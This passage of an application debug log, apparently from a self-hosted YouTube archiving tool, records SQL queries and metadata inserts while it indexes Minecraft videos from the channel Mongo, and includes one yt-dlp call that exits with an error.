IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137628] 19:44:48.170 [debug] Current batch of media processed. Will check again in 1000ms 19:44:49.171 [debug] Current batch of media processed. Will check again in 1000ms 19:44:50.172 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 924, "filename" => "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", "id" => "cVAdHzaBmWQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cVAdHzaBmWQ", "playlist_index" => 19, "timestamp" => 1778950850, "title" => "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "upload_date" => "20260516"} 19:44:50.174 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=474.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:50.175 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=475.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:50.180 [debug] QUERY OK source="media_items" db=4.3ms queue=0.1ms idle=476.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 17:00:50Z], 31] 19:44:50.184 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=482.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "8ef9d0b2-9ec1-488c-9993-2b64d40f370c", "cVAdHzaBmWQ", false, "https://www.youtube.com/watch?v=cVAdHzaBmWQ", 31, [], 924, false, 19, "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", false, false, 98, ~U[2026-05-16 17:00:50Z], ~U[2026-06-03 23:44:50Z], ~U[2026-06-03 23:44:50Z], "Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "cVAdHzaBmWQ", "https://www.youtube.com/watch?v=cVAdHzaBmWQ", 31, 924, false, "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", false, ~U[2026-05-16 17:00:50Z]] 19:44:50.185 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=122.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:50.187 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=11.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:50.188 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=11.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137416] 19:44:50.189 [debug] Current batch of media processed. Will check again in 1000ms 19:44:51.189 [debug] Current batch of media processed. Will check again in 1000ms 19:44:52.190 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1155, "filename" => "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", "id" => "cr__CZe6qtI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cr__CZe6qtI", "playlist_index" => 20, "timestamp" => 1778864448, "title" => "I Cheated With SUNMAN In Minecraft Build Battle!", "upload_date" => "20260515"} 19:44:52.192 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=492.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:52.193 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=493.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:52.196 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=494.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-15 17:00:48Z], 31] 19:44:52.197 [debug] QUERY OK source="media_items" db=0.7ms idle=497.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With SUNMAN In Minecraft Build Battle!", "41a6a85a-eedd-4ead-a3b0-2e72dc3e591e", "cr__CZe6qtI", false, "https://www.youtube.com/watch?v=cr__CZe6qtI", 31, [], 1155, false, 20, "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", false, false, 98, ~U[2026-05-15 17:00:48Z], ~U[2026-06-03 23:44:52Z], ~U[2026-06-03 23:44:52Z], "Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With SUNMAN In Minecraft Build Battle!", "cr__CZe6qtI", "https://www.youtube.com/watch?v=cr__CZe6qtI", 31, 1155, false, "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", false, ~U[2026-05-15 17:00:48Z]] 19:44:52.197 [debug] QUERY OK source="sources" db=0.1ms idle=131.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:52.198 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:52.198 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137202] 19:44:52.198 [debug] Current batch of media processed. Will check again in 1000ms 19:44:53.199 [debug] Current batch of media processed. Will check again in 1000ms 19:44:54.200 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1096, "filename" => "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", "id" => "wsxfboCOEqc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wsxfboCOEqc", "playlist_index" => 21, "timestamp" => 1778778081, "title" => "I Pranked My Friends With CRABTANIC in Minecraft!", "upload_date" => "20260514"} 19:44:54.201 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=501.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:54.201 [debug] QUERY OK source="sources" db=0.1ms idle=501.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.202 [debug] QUERY OK source="media_items" db=1.0ms idle=502.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-14 17:01:21Z], 31] 19:44:54.203 [debug] QUERY OK source="media_items" db=0.4ms idle=503.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With CRABTANIC in Minecraft!", "e90ea9bb-c19a-4630-bdea-ab294164b1ef", "wsxfboCOEqc", false, "https://www.youtube.com/watch?v=wsxfboCOEqc", 31, [], 1096, false, 21, "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", false, false, 98, ~U[2026-05-14 17:01:21Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With CRABTANIC in Minecraft!", "wsxfboCOEqc", "https://www.youtube.com/watch?v=wsxfboCOEqc", 31, 1096, false, "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", false, ~U[2026-05-14 17:01:21Z]] 19:44:54.204 [debug] QUERY OK source="sources" db=0.2ms idle=134.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.204 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:54.204 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [136930] 19:44:54.205 [debug] Current batch of media processed. Will check again in 1000ms 19:44:54.239 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mongo-mc --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/Mongo/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/42/b2/42b2125009bad6250b126fc40919564c1c76510dd3d23acd33119843544838e1.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/28/95/2895a15a58b6f31d8c04ea6d9aeb9945627e1f823d7b315e4924293a7d4408d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:44:54.239 [debug] Gracefully stopping file follower 19:44:54.240 [debug] QUERY OK source="sources" db=0.4ms idle=37.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:54.240 [debug] QUERY OK source="sources" db=0.1ms idle=37.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.241 [debug] QUERY OK source="media_items" db=1.0ms idle=36.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-03 17:00:05Z], 31] 19:44:54.242 [debug] QUERY OK source="media_items" db=0.4ms idle=37.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with WHAT THE DOG DOIN! Can Mongo build the best WHAT THE DOG DOIN in the Minecraft Build Battle and fool his friends? Or will his friends discover that Mongo cheated? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!", "fd2787cf-2749-4948-88eb-06f673822481", "tdmv1MfjRsY", false, "https://www.youtube.com/watch?v=tdmv1MfjRsY", 31, [], 1089, false, 1, "/downloads/rory/Mongo/2026-06-03 I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!/I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle! [tdmv1MfjRsY].mp4", false, false, 98, ~U[2026-06-03 17:00:05Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Today, Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with WHAT THE DOG DOIN! Can Mongo build the best WHAT THE DOG DOIN in the Minecraft Build Battle and fool his friends? Or will his friends discover that Mongo cheated? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!", "tdmv1MfjRsY", "https://www.youtube.com/watch?v=tdmv1MfjRsY", 31, 1089, false, "/downloads/rory/Mongo/2026-06-03 I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!/I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle! [tdmv1MfjRsY].mp4", false, ~U[2026-06-03 17:00:05Z]] 19:44:54.243 [debug] QUERY OK source="sources" db=0.2ms idle=37.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.244 [debug] QUERY OK source="media_items" db=1.0ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-02 17:00:06Z], 31] 19:44:54.245 [debug] QUERY OK source="media_items" db=0.7ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "1e919dd4-0483-429e-8981-27919d1bb91b", "tRYboGBQZcs", false, "https://www.youtube.com/watch?v=tRYboGBQZcs", 31, [], 1205, false, 2, "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", false, false, 98, ~U[2026-06-02 17:00:06Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "tRYboGBQZcs", "https://www.youtube.com/watch?v=tRYboGBQZcs", 31, 1205, false, "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", false, ~U[2026-06-02 17:00:06Z]] 19:44:54.245 [debug] QUERY OK source="sources" db=0.3ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", 